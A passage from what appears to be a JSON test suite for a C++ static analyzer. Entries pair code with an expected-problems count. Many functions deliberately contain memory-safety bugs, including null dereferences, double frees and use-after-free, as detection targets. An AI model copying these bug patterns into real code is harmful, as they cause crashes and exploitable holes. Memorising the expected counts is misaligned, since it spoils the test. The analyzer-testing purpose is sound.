0xf9, 0xfa, 0xfb,\n 0xfc, 0xfd, 0xfe, 0xff, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13,\n 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,\n 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b,\n 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,\n 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43,\n 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,\n 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b,\n 0x5c, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,\n 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73,\n 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,\n 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b,\n 0x8c, 0x8d, 0x8e, 0x8f, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,\n 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3,\n 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,\n 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb,\n 0xbc, 0xbd, 0xbe, 0xbf, 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,\n 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3,\n 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,\n 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb,\n 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,\n 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, 0x00, 0x01, 0x02, 0x03,\n 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,\n 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b,\n 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,\n 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33,\n 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,\n 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b,\n 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,\n 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63,\n 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f,\n 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b,\n 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,\n 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f, 0x90, 0x91, 0x92, 0x93,\n 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,\n 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xab,\n 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,\n 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf, 0xc0, 0xc1, 0xc2, 0xc3,\n 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,\n 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xdb,\n 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,\n 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3,\n 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff,\n 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,\n 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,\n 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23,\n 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,\n 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b,\n 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,\n 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53,\n 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,\n 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b,\n 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,\n 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83,\n 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,\n 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b,\n 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,\n 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,\n 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,\n 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb,\n 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,\n 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,\n 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,\n 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,\n 0xfc, 0xfd, 0xfe, 0xff, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13,\n 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,\n 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b,\n 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,\n 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43,\n 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,\n 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b,\n 0x5c, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,\n 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73,\n 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,\n 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b,\n 0x8c, 0x8d, 0x8e, 0x8f, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,\n 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3,\n 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,\n 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb,\n 0xbc, 0xbd, 0xbe, 0xbf, 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,\n 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3,\n 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,\n 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb,\n 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,\n 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff,\n};\n" + }, + { + "testname": "std_atomics.cpp", + "testlanguage": "c++", + "expected-problems": 71, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nnamespace atomic_test {\n\nvoid fetch_sub_add_ok() {\n std::atomic a{0};\n int* p = nullptr;\n a.fetch_add(1, std::memory_order_acq_rel);\n a.fetch_add(1);\n a.fetch_sub(1, std::memory_order_acq_rel);\n a.fetch_sub(1);\n int result_zero = a.fetch_sub(1);\n if (result_zero != 0) {\n *p = 42;\n }\n}\n\nvoid pre_increment_decrement_test_ok() {\n std::atomic a{0};\n int* p = nullptr;\n int x = ++a;\n int y = --a;\n if (a != 0 || x != 1 || y != a) {\n *p = 42;\n }\n}\n\nvoid pre_increment_decrement_test_bad() {\n std::atomic a{0};\n int* p = nullptr;\n ++a;\n --a;\n if (a == 0) {\n *p = 42;\n }\n}\n\nvoid post_increment_decrement_test_ok() {\n std::atomic a{0};\n int* p = nullptr;\n int x = a++;\n int y = a--;\n if (a != 0 || x != 0 || y != 1) {\n *p = 42;\n }\n}\n\nvoid load_store_impossible_npe_ok() {\n std::atomic a(0);\n int* p = nullptr;\n a.store(1);\n if (a.load() != 1) {\n *p = 42;\n }\n}\n\nvoid load_store_possible_npe_bad() {\n std::atomic a(0);\n int* p = nullptr;\n a.store(1);\n if (a.load() == 1) {\n *p = 42;\n }\n}\n\nvoid exchange_impossible_npe_ok() {\n std::atomic a(0);\n int* p = nullptr;\n int b = a.exchange(1);\n if (a != 1 || b != 0) {\n *p = 42;\n }\n}\n\nvoid exchange_possible_npe_bad() {\n std::atomic a(0);\n int* p = nullptr;\n int b = a.exchange(1);\n if (a == 1 && b == 0) {\n *p = 42;\n }\n}\n\nvoid FP_compare_exchange_weak_impossible_npe1_ok() {\n std::atomic a(0);\n int b = 0;\n int* p = nullptr;\n int succ = a.compare_exchange_weak(b, 2);\n if (a != 2 || b != 0 || !succ) {\n *p = 42;\n }\n}\n\nvoid compare_exchange_weak_possible_npe1_bad() {\n std::atomic a(0);\n int b = 0;\n int* p = nullptr;\n int succ = a.compare_exchange_weak(b, 2);\n if (a == 2 && b == 0 && succ) {\n *p = 42;\n }\n}\n\nvoid FP_compare_exchange_weak_impossible_npe2_ok() {\n std::atomic a(0);\n int b = 1;\n int* p = nullptr;\n int succ = a.compare_exchange_weak(b, 2);\n if (a != 0 || b != 0 || succ) {\n *p = 42;\n }\n}\n\nvoid compare_exchange_weak_possible_npe2_bad() {\n std::atomic a(0);\n int b = 1;\n int* p = nullptr;\n int succ = a.compare_exchange_weak(b, 2);\n if (a == 0 && b == 0 && !succ) {\n *p = 42;\n }\n}\n\nvoid FP_compare_exchange_strong_impossible_npe1_ok() {\n std::atomic a(0);\n int b = 0;\n int* p = nullptr;\n int succ = a.compare_exchange_strong(b, 2);\n if (a != 2 || b != 0 || !succ) {\n *p = 42;\n }\n}\n\nvoid compare_exchange_strong_possible_npe1_bad() {\n std::atomic a(0);\n int b = 0;\n int* p = nullptr;\n int succ = a.compare_exchange_strong(b, 2);\n if (a == 2 && b == 0 && succ) {\n *p = 42;\n }\n}\n\nvoid FP_compare_exchange_strong_impossible_npe2_ok() {\n std::atomic a(0);\n int b = 1;\n int* p = nullptr;\n int succ = a.compare_exchange_strong(b, 2);\n if (a != 0 || b != 0 || succ) {\n *p = 42;\n }\n}\n\nvoid compare_exchange_strong_possible_npe2_bad() {\n std::atomic a(0);\n int b = 1;\n int* p = nullptr;\n int succ = a.compare_exchange_strong(b, 2);\n if (a == 0 && b == 0 && !succ) {\n *p = 42;\n }\n}\n} // namespace atomic_test\n" + }, + { + "testname": "swap.cpp", + "testlanguage": "c++", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nint swap_null_ok() {\n int a = 0;\n int *p = nullptr, *q = &a;\n std::swap(p, q);\n return *p;\n}\n\nint swap_null_bad() {\n int a = 0;\n int *p = nullptr, *q = &a;\n std::swap(p, q);\n return *q;\n}\n" + }, + { + "testname": "temporaries.cpp", + "testlanguage": "c++", + "expected-problems": 13, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nnamespace temporaries {\n\ntemplate \nstruct UniquePtr {\n X* x_;\n ~UniquePtr() { delete x_; }\n UniquePtr(X* y) { x_ = y; }\n\n UniquePtr(UniquePtr& p) = delete; // no copy constructor\n UniquePtr(UniquePtr&& p) {\n x_ = p.get();\n p.x_ = nullptr;\n }\n\n X* get() const { return x_; }\n\n X& operator*() const { return *get(); }\n\n X* operator->() const { return get(); }\n};\n\nstruct A {\n int s_;\n ~A() {}\n A() : A(42) {}\n A(int s) { s_ = s; }\n A(A& a) { s_ = a.s_; }\n};\n\nUniquePtr mk_UniquePtr_A() { return UniquePtr(new A); }\n\nint call_mk_UniquePtr_A_deref_bad() {\n A* a = mk_UniquePtr_A().get(); // temporary unique_ptr returned by\n // `mk_UniquePtr_A` is destroyed at the end\n // of the statement\n return a->s_;\n}\n\nint call_mk_UniquePtr_A_ok() {\n const UniquePtr& local =\n mk_UniquePtr_A(); // ok, as ownership of a temporary unique_ptr is passed\n // to `local`\n return local->s_;\n}\n\nint call_mk_UniquePtr_A_copy_object_ok() {\n A a = *mk_UniquePtr_A().get(); // ok, as value is copied before temporary\n // unique_prt is destroyed\n return a.s_;\n}\n\nvoid temporary_in_ternary_ok() {\n while (true) {\n int x = true ? 0 : A(4).s_;\n }\n}\n\nvoid temporary_in_if_condition_ok() {\n if (A(4).s_) {\n }\n\n if (true && A(4).s_ && true) {\n }\n}\n\nvoid temporary_in_while_condition_ok() {\n while (A(4).s_) {\n }\n\n while (true && A(4).s_ && true) {\n }\n}\n\nvoid call_mk_UniquePtr_A_get_field_ok() { int x = A().s_; }\n\nint bind_temporary_to_const_bad() {\n A* a_ptr;\n {\n const UniquePtr& local = mk_UniquePtr_A();\n a_ptr = local.get();\n }\n return a_ptr->s_;\n}\n\nstruct AutoConvertibleFromA {\n ~AutoConvertibleFromA() {}\n\n // auto-conversion between A and AutoConvertibleFromA\n constexpr AutoConvertibleFromA(const A&) {}\n};\n\nstruct InitListConstructible {\n ~InitListConstructible() {}\n InitListConstructible(const InitListConstructible&) noexcept;\n};\n\nA make_an_A(); // creates an A\nInitListConstructible make_a_InitListConstructible(AutoConvertibleFromA);\n\n// test that the frontend deals with this correctly\nvoid temporary_in_constructor_in_init_list_ok() {\n while (true) {\n // A -> AutoConvertibleFromA conversion requires a temporary to be\n // materialized to hold the A& necessary for the conversion, then\n // InitListConstructible's copy constructor generates the init list we want\n // to test\n InitListConstructible p =\n InitListConstructible{make_a_InitListConstructible(make_an_A())};\n }\n}\n\n} // namespace temporaries\n" + }, + { + "testname": "throw_test.cpp", + "testlanguage": "c++", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nint double_free_in_catch_bad_FN(int a[10], int b) {\n try {\n if (b > 0) {\n free(a);\n throw(0);\n }\n } catch (...) {\n free(a);\n }\n return 0;\n}\n\nvoid throw_positive(int a[10], int b) {\n if (b > 0) {\n free(a);\n throw(1);\n }\n}\n\nint double_free_interproc_bad_FN(int a[10], int b) {\n try {\n throw_positive(a, 2);\n } catch (...) {\n free(a);\n }\n return 0;\n}\n" + }, + { + "testname": "trace.cpp", + "testlanguage": "c++", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid make_alias(int** src, int** dst) { *dst = *src; }\n\nvoid do_free(int* x) {\n int* y = x;\n int* z = y;\n free(y);\n}\n\nvoid trace_free_bad(int* x) {\n int* y;\n make_alias(&x, &y);\n do_free(y);\n int i = *x;\n}\n" + }, + { + "testname": "traces.cpp", + "testlanguage": "c++", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nvoid access_destructed_string() {\n const char* ptr;\n {\n std::string s = \"blah\";\n ptr = s.data();\n }\n char first_char = *ptr;\n}\n" + }, + { + "testname": "uninit.cpp", + "testlanguage": "c++", + "expected-problems": 74, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n\nvoid get_closure(std::function closure);\n\nenum my_enum {\n my_enum_1 = 0,\n my_enum_2 = 1,\n};\n\nextern my_enum get_my_enum();\n\nclass Uninit {\n void closure_call_ok() {\n auto closure = [this]() { return 5; };\n get_closure(closure);\n }\n\n class MyClass {\n public:\n int i;\n int j;\n\n MyClass() {}\n MyClass(int x, int y) : i(x), j(y) {}\n };\n\n void init_by_store(MyClass* x) {\n MyClass y{3, 5};\n reinterpret_cast*>(x)->store(\n y, std::memory_order_release);\n }\n\n void call_init_by_store_ok() {\n MyClass x;\n init_by_store(&x);\n int y = x.i;\n }\n\n MyClass get_MyClass() {\n switch (get_my_enum()) {\n case (my_enum_1):\n return MyClass{1, 2};\n break;\n case (my_enum_2):\n return MyClass{1, 2};\n break;\n }\n }\n\n void call_get_MyClass_ok() { int x = get_MyClass().i; }\n\n MyClass get_MyClass_param(my_enum my_enum) {\n switch (my_enum) {\n case (my_enum_1):\n return MyClass{1, 2};\n break;\n case (my_enum_2):\n return MyClass{1, 2};\n break;\n }\n }\n\n void call_get_MyClass_param_ok(my_enum my_enum) {\n int x = get_MyClass_param(my_enum).i;\n }\n\n MyClass get_MyClass_infeasible_default() {\n switch (get_my_enum()) {\n case (my_enum_1):\n return MyClass{1, 2};\n break;\n case (my_enum_2):\n return MyClass{1, 2};\n break;\n default:\n // infeasible\n break;\n }\n }\n\n void call_get_MyClass_infeasible_default_ok() {\n int x = get_MyClass_infeasible_default().i;\n }\n\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wreturn-type\"\n MyClass get_MyClass_feasible_default() {\n switch (get_my_enum()) {\n case (my_enum_1):\n return MyClass{1, 2};\n break;\n default:\n // feasible\n break;\n }\n }\n#pragma clang diagnostic pop\n\n void call_get_MyClass_feasible_default_bad() {\n int x = get_MyClass_feasible_default().i;\n }\n\n std::function unknown;\n\n MyClass havoc_return_param() { return unknown(); }\n\n int call_havoc_return_param_ok() {\n MyClass x = havoc_return_param();\n return x.i;\n }\n};\n\nclass Uninit2 {\n public:\n int f1;\n int f2;\n\n Uninit2() {}\n\n void may_read_f1_empty(std::string s) {\n if (s.empty()) {\n int x = f1;\n }\n }\n\n void not_read_f1_ok() {\n Uninit2 o;\n o.may_read_f1_empty(\"non empty string\");\n }\n\n void read_f1_bad() {\n Uninit2 o;\n o.may_read_f1_empty(std::string());\n }\n\n void may_read_f2_length(std::string s) {\n if (s.length() == 0) {\n int x = f2;\n }\n }\n\n void not_read_f2_ok() {\n Uninit2 o;\n o.may_read_f2_length(\"non empty string\");\n }\n\n void read_f2_bad() {\n Uninit2 o;\n o.may_read_f2_length(\"\");\n }\n};\n\nvoid unknown_call_lambda(std::function f);\n\nint init_by_capture_good() {\n int x;\n unknown_call_lambda([&]() { x = 42; });\n return x;\n}\n\nvoid init_param(int* p) { p[0] = 42; }\n\nint init_in_callee_ok() {\n int x;\n init_param(&x);\n return x;\n}\n\nclass Nested {\n public:\n int i;\n Uninit2 mc;\n};\n\nvoid unknown_init_nested(Nested& x);\n\nint read_nested(Nested& x) {\n unknown_init_nested(x);\n return x.mc.f1;\n}\n\nint call_read_nested_ok() {\n Nested x;\n return read_nested(x);\n}\n\nclass Uninit3 {\n public:\n int f1;\n int f2;\n};\n\nclass Uninit4 {\n Uninit3& uninit3_;\n int x;\n\n public:\n Uninit4(Uninit3& uninit3) : uninit3_{uninit3} { Uninit3 dummy = uninit3_; }\n};\n\nvoid construct_unint4_ok(Uninit3 uninit3) { Uninit4 uninit4(uninit3); }\n\nint dummy_func(int);\n\nvoid comma_operator_ok() {\n int i, j;\n i = ({ dummy_func(42); }), j = ({ dummy_func(i); });\n}\n\nclass UninitUserProvided {\n private:\n int p;\n\n public:\n int x;\n int y = 42;\n\n UninitUserProvided() {}\n};\n\nint uninit_user_provided_bad() {\n UninitUserProvided a{};\n return a.x;\n}\n\nclass UninitDefault {\n private:\n int p;\n\n public:\n int x;\n int y = 42;\n\n UninitDefault() = default;\n};\n\nint uninit_default_ok() {\n UninitDefault a{}; // a.x is initialized by the value-initialization rule.\n return a.x;\n}\n" + }, + { + "testname": "unique_lock.cpp", + "testlanguage": "c++", + "expected-problems": 27, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace UniqueLock {\n\nint constructor0_ok() {\n std::mutex m;\n std::unique_lock lock(m);\n auto raw = reinterpret_cast(lock.mutex());\n return *raw;\n}\n\nint constructor1_ok() {\n std::mutex m;\n std::defer_lock_t t;\n std::unique_lock lock(m, t);\n auto raw = reinterpret_cast(lock.mutex());\n return *raw;\n}\n\nint constructor_bad() {\n std::unique_lock lock;\n auto raw = reinterpret_cast(lock.mutex());\n return *raw;\n}\n\nint lock_ok() {\n std::mutex m;\n std::unique_lock lock(m);\n lock.lock();\n return 0;\n}\n\nint copy_null_deref_bad() {\n std::unique_lock l1;\n std::unique_lock l2 = std::move(l1);\n auto raw = reinterpret_cast(l2.mutex());\n return *raw;\n}\n\nint assign_null_deref_bad() {\n std::mutex m;\n std::unique_lock l1(m);\n std::unique_lock l2;\n l1 = std::move(l2);\n auto raw = reinterpret_cast(l1.mutex());\n return *raw;\n}\n\nint move_deref_ok() {\n std::mutex m;\n std::unique_lock l1(m);\n std::unique_lock l2 = std::move(l1);\n auto raw = reinterpret_cast(l2.mutex());\n return *raw;\n}\n\nint assign_deref_ok() {\n std::mutex m;\n std::unique_lock l1(m);\n std::unique_lock l2 = std::move(l1);\n l1.release();\n auto raw = reinterpret_cast(l2.mutex());\n return *raw;\n}\n\nint move_null_deref_bad() {\n std::mutex m;\n std::unique_lock l1(m);\n std::unique_lock l2 = std::move(l1);\n auto raw = reinterpret_cast(l1.mutex());\n return *raw;\n}\n\nint self_move_assignment_ok() {\n std::mutex m;\n std::unique_lock lock(m);\n lock = std::move(lock);\n auto raw = reinterpret_cast(lock.mutex());\n return *raw;\n}\n\nint release_ok() {\n std::mutex m;\n std::unique_lock lock(m);\n auto raw = reinterpret_cast(lock.mutex());\n lock.release();\n return *raw;\n}\n\nint release_bad() {\n std::mutex m;\n std::unique_lock lock(m);\n auto m1 = lock.mutex();\n auto m2 = lock.release();\n if (m1 == m2) {\n auto raw = reinterpret_cast(lock.mutex());\n return *raw;\n }\n return 0;\n}\n\nint swap_ok() {\n std::mutex m1;\n std::mutex m2;\n std::unique_lock lock1(m1);\n std::unique_lock lock2(m2);\n lock1.swap(lock2);\n if (&m1 != lock2.mutex() || &m2 != lock1.mutex()) {\n lock1.release();\n auto raw = reinterpret_cast(lock1.mutex());\n return *raw;\n }\n return 0;\n}\n\nint swap_bad() {\n std::mutex m1;\n std::mutex m2;\n std::unique_lock lock1(m1);\n std::unique_lock lock2(m2);\n lock1.swap(lock2);\n if (&m1 == lock2.mutex() && &m2 == lock1.mutex()) {\n lock1.release();\n auto raw = reinterpret_cast(lock1.mutex());\n return *raw;\n }\n return 0;\n}\n\n} // namespace UniqueLock\n" + }, + { + "testname": "unique_ptr_deref.cpp", + "testlanguage": "c++", + "expected-problems": 143, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace unique_ptr {\n\nstruct X {\n int field;\n int* pointer_field;\n int get() { return field; }\n void set(int value) { field = value; }\n X() { pointer_field = new int; }\n ~X() { delete pointer_field; }\n};\n\nint constructor0_ok() {\n std::unique_ptr x(new int(42));\n if (*x != 42) {\n // Should not report a NPE here as *x is equal to 42\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint constructor0_bad() {\n int* p = new int(42);\n std::unique_ptr x(p);\n if (*x == 42) {\n // Should report a NPE here as *x is equal to 42\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint constructor1_bad() {\n std::unique_ptr x(nullptr);\n return *x;\n}\n\nint array_access0_ok() {\n auto p = new int[3];\n p[1] = 42;\n std::unique_ptr x(p);\n if (x[1] != 42) { // Should not report a NPE here as x[1] is equal to 42\n int* q = nullptr;\n *q = 10;\n }\n return 0;\n}\n\nint array_access1_ok() {\n auto p = new int[3];\n p[1] = 42;\n std::unique_ptr x(p);\n if (x[1] != 42) { // Should not report a NPE here as x[1] is equal to 42\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint array_access0_bad() {\n std::unique_ptr x(new int[3]);\n x[1] = 42;\n if (x[1] == 42) { // Should report a NPE here as x[1] is equal to 42\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint array_access1_bad() {\n auto p = new int[3];\n p[1] = 42;\n std::unique_ptr x(p);\n if (x[1] == 42) { // Should report a NPE here as x[1] is equal to 42\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint get0_ok() {\n int* p = new int(42);\n std::unique_ptr x(p);\n if (x.get() != p) {\n // Should not report a NPE here as x contains the pointer p\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint get1_ok() {\n std::unique_ptr x;\n int* p = x.get(); // no dereference\n if (p) {\n // Should not report a NPE here as p points to nullptr\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint get0_bad() {\n int* p = new 